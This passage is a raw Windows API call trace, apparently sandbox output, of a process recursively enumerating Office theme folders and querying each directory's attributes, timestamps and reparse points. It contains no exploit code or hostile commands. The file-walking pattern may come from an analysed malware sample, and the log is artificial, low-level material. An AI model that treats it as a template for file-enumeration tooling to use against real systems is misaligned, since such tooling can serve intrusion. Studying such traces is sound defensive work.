Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb2d0 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6ca0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb2f0 [0056.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6da8 [0056.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.637] GetLastError () returned 0x12 [0056.637] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.637] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.637] GetLastError () returned 0x12 [0056.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.637] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0057.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0057.703] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0057.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f7d10 [0057.703] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f7d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f7d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0057.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f7d10) returned 1 [0057.703] NtClose (Handle=0x160) returned 0x0 [0057.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0057.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0057.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0057.704] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0057.704] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.704] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb310 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6eb0 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.704] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb330 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6fb8 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x740) returned 0x9f7d10 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f2978) returned 1 [0057.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.704] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0057.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb350 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f70c0 [0057.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb370 [0057.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f71c8 [0057.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0057.705] GetLastError () returned 0x12 [0057.705] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0057.705] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0057.705] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0057.706] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0057.706] GetLastError () returned 0x12 [0057.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0057.706] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0057.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0057.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0057.706] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0057.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0057.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0058.087] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f8458 [0058.087] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f8458, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f8458, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f8458) returned 1 [0058.087] NtClose (Handle=0x16c) returned 0x0 [0058.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0058.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.088] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.088] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb390 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f72d0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, 